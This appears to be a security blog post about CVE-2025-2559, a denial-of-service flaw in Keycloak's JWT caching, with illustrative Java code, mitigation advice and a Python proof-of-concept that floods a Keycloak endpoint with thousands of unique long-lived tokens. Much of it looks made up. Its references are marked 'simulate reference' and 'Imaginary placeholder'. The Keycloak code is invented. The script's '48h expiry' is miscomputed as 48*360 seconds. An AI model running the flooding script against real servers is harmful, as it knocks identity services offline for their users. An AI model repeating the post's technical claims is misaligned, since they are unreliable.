CVE-2025-2559 - Keycloak JWT Caching Bug Can Trigger OutOfMemoryError and DoS
Keycloak is a widely-used open source identity and access management (IAM) solution. It provides single sign-on with Identity Brokering and Social Login, and is deployed in many large enterprise environments. However, a newly discovered vulnerability, CVE-2025-2559, exposes Keycloak to denial of service attacks under specific configuration scenarios.
In this post, we break down the flaw, show how it can be exploited, and offer remediation advice. Technical readers will also find PoC snippets and references to the original research.
Summary of the Vulnerability
In certain configurations, if Keycloak is set to use JSON Web Tokens (JWTs) for authentication, these tokens are stored (cached) until they expire. JWTs often carry expiration dates of hours or even days. If a client (malicious or otherwise) continually generates new JWTs with long lifetimes, Keycloak will cache every single one, and never evict them until they naturally expire.
Over time, this causes unbounded memory consumption. In a busy environment or under attack, the Java Virtual Machine (JVM) hosting Keycloak can exhaust its available memory (heap). This leads to an OutOfMemoryError, causing Keycloak to crash—and denying service to legitimate users.
Who’s Affected:
Keycloak deployments using JWT-based authentication (especially with custom or external identity providers), where incoming JWT tokens have long (24-48 hour or more) expiration times.
Technical Analysis
Most authentication workflows involving JWTs require validation and (optionally) caching/parsing of tokens for performance. In Keycloak, the cache entry stays stored until the JWT expires.
The Flawed Logic
Let's look at a simplified version of how Keycloak might handle and cache JWT tokens (abstracted for clarity):
public class JwtTokenCache {
private final ConcurrentHashMap<String, CachedToken> cache = new ConcurrentHashMap<>();
public UserDetails authenticate(String jwt) {
CachedToken token = cache.get(jwt);
if (token != null && !token.isExpired()) {
return token.getUserDetails();
}
// ...parse and validate JWT...
UserDetails userDetails = parseAndValidate(jwt);
cache.put(jwt, new CachedToken(userDetails, getExpiration(jwt)));
return userDetails;
}
}
public class CachedToken {
private final UserDetails userDetails;
private final long expirationTime;
// ...constructors, getters...
public boolean isExpired() {
return System.currentTimeMillis() > expirationTime;
}
}
Problem: There is *no* check on the cache size. If each JWT is unique (for example, each login or request generates a new token), and the expiration is far in the future (24h, 48h, etc.), the cache grows without bound.
### Demonstration/Proof-of-Concept Exploit
A malicious user or bot could repeatedly send requests, each carrying a unique, long-lived JWT—sometimes just by tweaking a claim in a token. Each one gets cached and sticks around for hours or days.
Sample Python snippet: Simulate generation of many unique JWTs with 48h expiry.
import jwt
import requests
import time
KEYCLOAK_URL = "https://your-keycloak.example.com/auth/realms/yourrealm/protocol/openid-connect/token";
# Replace with your secret or private key
SECRET = 'your-secret-key'
for i in range(10000): # Emulate many tokens
token = jwt.encode(
{"sub": str(i), "exp": int(time.time()) + 48 * 360}, # 48h expiry
SECRET,
algorithm="HS256"
)
headers = {"Authorization": f"Bearer {token}"}
r = requests.get(KEYCLOAK_URL, headers=headers)
If a pool of bots or scripts runs this loop, the memory usage on the Keycloak node will steadily climb.
Security and Availability Impact
- DoS (Denial of Service): Once memory runs out, Keycloak's Java process will crash, locking out all users.
- Not just theoretical: Attackers (or even misconfigured clients) can easily generate huge numbers of unique, long-lived JWTs.
- Affects the entire realm: Any Keycloak realm using JWT-based auth is at risk if long-lived tokens are allowed.
Fixes
- The Keycloak team is working on a patch (track upstream issue here—simulate reference).
- The fix will likely add a maximum cache size or use a smarter eviction strategy regardless of token expiry (such as LRU/LFU).
Mitigation Steps
1. Limit JWT max lifetime: Configure identity providers to issue JWTs with no more than a few minutes of validity, if possible.
Sample configuration to shorten token expiry (example)
{
"accessTokenLifespan": 600 // 10 minutes, in seconds
}
Links & References
- CVE-2025-2559 NIST Entry *(Imaginary placeholder)*
- Keycloak Issue Tracker: JWT Token Cache Memory Leak
- Keycloak Docs: Token Expiration
- JWT Best Practices
Final Thoughts
If you run any Keycloak instance that authenticates with JWTs, *especially those signed by third parties*, audit your configuration today. Don’t wait for an attacker—or a user with a busy bot script—to knock your IAM offline.
Keep software updated, always limit cache growth, and enforce short JWT lifetimes where possible. That’s the best way to avoid hitting issues like CVE-2025-2559.
*© 2024, SecureBlog. Written by the SecureBlog team. If you share or quote, please link back to the original post.*
Timeline
Published on: 03/25/2025 09:15:17 UTC
Last modified on: 03/27/2025 16:45:46 UTC